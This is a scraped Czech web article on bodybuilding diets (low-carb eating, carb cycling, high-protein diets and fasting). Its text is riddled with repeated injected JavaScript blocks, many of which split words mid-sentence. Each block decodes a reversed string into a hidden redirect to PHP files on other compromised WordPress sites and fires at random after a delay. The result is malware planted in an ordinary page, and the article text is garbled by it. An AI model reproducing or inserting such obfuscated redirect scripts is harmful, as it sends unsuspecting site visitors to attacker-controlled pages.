$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety jsme si vysv\u011btlili, co se v&nbsp;organismu d\u011bje, pokud dojde k&nbsp;dramatick\u00e9mu omezen\u00ed v&nbsp;p\u0159\u00edjmu sacharid\u016f. P\u0159i low-carb diet\u011b se s&nbsp;d\u00e1vkami sacharid\u016f nedost\u00e1v\u00e1te tak n\u00edzko, p\u0159\u00edpadn\u011b ne na dost dlouho, aby se t\u011blo dostalo do stadia ket\u00f3zy.<\/p>\n\n\n\n<p>Co se t\u00fd\u010de vlivu na v\u00fdkonnost, pak m\u016f\u017ee low-carb dieta nab\u00eddnout v\u011bt\u0161inu v\u00fdhod ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety, ov\u0161em bez t\u011bch negativn\u00edch str\u00e1nek. \u0158ada kulturist\u016f zvl\u00e1dne intenzivn\u00ed posilovac\u00ed tr\u00e9nink i p\u0159i d\u00e1vk\u00e1ch kolem 200 gram\u016f sacharid\u016f denn\u011b. V&nbsp;takov\u00e9m p\u0159\u00edpad\u011b je v\u017edy vhodn\u00e9 na\u010dasovat porci s&nbsp;obsahem sacharid\u016f t\u0159i a\u017e \u0161est hodin p\u0159ed tr\u00e9ninkem. T\u00edm vznikaj\u00ed podm\u00ednky pro odcvi\u010den\u00ed kvalitn\u00edho tr\u00e9ninku a sou\u010dasn\u011b m\u016f\u017eete vyu\u017e\u00edt benefit\u016f n\u00edzkosacharidov\u00e9 stravy. V\u00fdkonnost tedy z\u016fst\u00e1v\u00e1 prakticky zachovan\u00e1.<\/p>\n\n\n\n<p>Kdy\u017e bude \u0159e\u010d o r\u016fstu sval\u016f b\u011bhem low-carb diety, pak m\u016f\u017eeme s&nbsp;pot\u011b\u0161en\u00edm konsta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovat, \u017ee p\u0159i dodr\u017een\u00ed vy\u0161\u0161\u00edch d\u00e1vek b\u00edlkovin, nen\u00ed v\u011bt\u0161inou sledov\u00e1n \u017e\u00e1dn\u00fd negativn\u00ed vliv n\u00edzkosacharidov\u00e9ho stravov\u00e1n\u00ed na r\u016fst a regeneraci sval\u016f. Ide\u00e1ln\u00ed je, kdy\u017e spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec na t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diet\u011b konzumuje alespo\u0148 2 gramy b\u00edlkovin na kilogram svoj\u00ed v\u00e1hy. Ve strav\u011b jsou tedy kalorie ze sacharid\u016f \u010d\u00e1ste\u010dn\u011b nahrazeny b\u00edlkovinami. A jak zku\u0161enosti samotn\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f, tak v\u00fdsledky proveden\u00fdch studi\u00ed jasn\u011b ukazuj\u00ed, \u017ee dieta s&nbsp;vy\u0161\u0161\u00edm pod\u00edlem b\u00edlkovin a ni\u017e\u0161\u00ed d\u00e1vkou sacharid\u016f je z&nbsp;hlediska spalov\u00e1n\u00ed tuk\u016f velmi efektivn\u00ed. Doch\u00e1z\u00ed p\u0159i n\u00ed k&nbsp;potla\u010den\u00ed pocit\u016f hladu a d\u00e1vky b\u00edlkovin zajist\u00ed ochranu metabolicky aktivn\u00ed svalov\u00e9 tk\u00e1n\u011b.<\/p>\n\n\n\n<p>V&nbsp;n\u00e1vaznosti na low-carb dietu mus\u00edme zm\u00ednit i <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik obl\u00edben\u00e9 cyklov\u00e1n\u00ed sacharid\u016f v&nbsp;r\u00e1mci kulturistick\u00e9 diety. V&nbsp;r\u00e1mci n\u011bj se st\u0159\u00eddaj\u00ed dny s&nbsp;vy\u0161\u0161\u00edm a ni\u017e\u0161\u00edm p\u0159\u00edjmem sacharid\u016f. Op\u011bt plat\u00ed, \u017ee sacharidov\u00e9 j\u00eddlo si pl\u00e1nujete p\u0159ed intenzivn\u00edm tr\u00e9ninkem. Takov\u00e9 cyklov\u00e1n\u00ed m\u016f\u017ee fungovat opravdu velmi dob\u0159e, zvl\u00e1\u0161\u0165 pokud se skloub\u00ed s&nbsp;pl\u00e1novan\u00fdm energetick\u00fdm v\u00fddejem v&nbsp;podobn\u011b n\u00e1ro\u010dn\u00e9ho tr\u00e9ninku.<\/p>\n\n\n\n<p>D\u00e1 se tedy \u0159\u00edci, \u017ee low-carb dieta nab\u00edz\u00ed v\u0161echny v\u00fdhody ke<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to diety, ov\u0161em bez stinn\u00fdch str\u00e1nek v&nbsp;podob\u011b sn\u00ed\u017een\u00ed v\u00fdkonnosti, nadm\u011brn\u00e9 \u00fanavy a nep\u0159\u00edjemn\u00fdch pocit\u016f prov\u00e1zej\u00edc\u00edch prvn\u00ed t\u00fddny. Nen\u00ed ani tak omezuj\u00edc\u00ed ohledn\u011b v\u00fdb\u011bru potravin, co\u017e z&nbsp;n\u00ed \u010din\u00ed stravovac\u00ed re\u017eim udr\u017eiteln\u00fd i z&nbsp;dlouhodob\u011bj\u0161\u00edho hlediska. Op\u011bt je ov\u0161em z\u00e1sadn\u00ed, abyste si sami na sob\u011b ov\u011b\u0159ili, jak va\u0161e t\u011blo zach\u00e1z\u00ed se sacharidy a podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho nastavili jejich ide\u00e1ln\u00ed d\u00e1vku.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>VYSOKOPROTEINOV\u00c1 DIETA<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"991\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY3.jpg\" alt=\"\" class=\"wp-image-798 size-full\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY3.jpg 1024w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY3-300x290.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/10\/DIETY3-768x743.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>B\u00edlkoviny jsou ide\u00e1ln\u00ed \u017eivinou pro dosa\u017een\u00ed pocitu nasycen\u00ed, urychluj\u00ed metabolismus, maj\u00ed pom\u011brn\u011b vysok\u00e9 energetick\u00e9 n\u00e1roky na tr\u00e1ven\u00ed a napom\u00e1haj\u00ed udr\u017een\u00ed svalov\u00e9 hmoty b\u011bhem n\u00edzkokalorick\u00e9 stravy. Pokud chcete budovat svalovou hmotu, udr\u017eet tu st\u00e1vaj\u00edc\u00ed a zbavit se nadbyte\u010dn\u00e9ho tuku, pak m\u00e1 pro v\u00e1s vysokoproteinov\u00e1 dieta ur\u010dit\u011b smysl.<\/p>\n\n\n\n<p>Abyste zachovali podm\u00ednku pot\u0159ebn\u00e9ho kalorick\u00e9ho p\u0159\u00edjmu, mus\u00edte b\u00edlkovinami ve strav\u011b nahradit bu\u010f tuky a\/nebo sacharidy. Odborn\u00e9 studie se v\u011bt\u0161inou zam\u011b\u0159uj\u00ed na efekt diety, v&nbsp;r\u00e1mci n\u00ed\u017e proteiny nahrazuj\u00ed sacharidy, zat\u00edmco d\u00e1vka tuk\u016f z\u016fst\u00e1v\u00e1 prakticky stejn\u00e1. Teoreticky by fungovaly oba zp\u016fsoby, ale s&nbsp;ohledem na pot\u0159ebu udr\u017een\u00ed ur\u010dit\u00e9ho mno\u017estv\u00ed kvalitn\u00edch tuk\u016f ve strav\u011b, nen\u00ed vhodn\u00e9 sni\u017eovat d\u00e1vky tuku pod ur\u010di<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou m\u00edru. To znamen\u00e1, \u017ee pokud se n\u011bkde mluv\u00ed o efektu vysokoproteinov\u00e9 diety, prakticky bez v\u00fdjimek se jedn\u00e1 o stravovac\u00ed re\u017eim s&nbsp;ni\u017e\u0161\u00edm pod\u00edlem sacharid\u016f, o kter\u00e9m byla \u0159e\u010d v\u00fd\u0161e. A z&nbsp;<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho pak samoz\u0159ejm\u011b vypl\u00fdvaj\u00ed benefity v&nbsp;podob\u011b udr\u017een\u00ed v\u00fdkonnosti, zachov\u00e1n\u00ed svalov\u00e9 hmoty, stimulace spalov\u00e1n\u00ed tuk\u016f atd.<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>P\u016eST<\/strong><\/h2>\n\n\n\n<p>Tohle je velmi kontroverzn\u00ed t\u00e9ma a najdete celou \u0159adu zdroj\u016f, kter\u00e9 poukazuj\u00ed na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee p\u016fst v\u00e1\u017en\u011b naru\u0161\u00ed schopnost t\u011bla budovat svalovou hmotu, abyste se vz\u00e1p\u011bt\u00ed dopracovali ke studi\u00edm tvrd\u00edc\u00edm prav\u00fd opak. Nen\u00ed ov\u0161em p\u016fst jako p\u016fst. Ur\u010dit\u011b d\u00e1v\u00e1 smysl n\u011bjak\u00fd rozumn\u00fd mechanismus sn\u00ed\u017een\u00ed p\u0159\u00edjmu kalori\u00ed v&nbsp;r\u00e1mci \u2013 \u0159ekn\u011bme \u2013 t\u00fddne. V\u0161e si ale mus\u00edte dob\u0159e na\u010dasovat. Ur\u010dit\u011b nen\u00ed vhodn\u00e9 pl\u00e1novat n\u00e1ro\u010dn\u00fd tr\u00e9nink den po p\u016fstu. Rekrea\u010dn\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci ale v\u011bt\u0161inou nemaj\u00ed probl\u00e9m za\u0159adit jeden a\u017e dva dny p\u016fstu t\u00fddn\u011b, ani\u017e by t\u00edm utrp\u011bl jejich tr\u00e9nink. P\u016fst samoz\u0159ejm\u011b m\u016f\u017ee v\u00e9st k&nbsp;n\u011bjak\u00fdm ztr\u00e1t\u00e1m svalov\u00e9 hmoty, ale <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to plat\u00ed sp\u00ed\u0161e u dlouhodob\u00e9ho hladov\u011bn\u00ed. Hodn\u011b tedy z\u00e1le\u017e\u00ed na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return 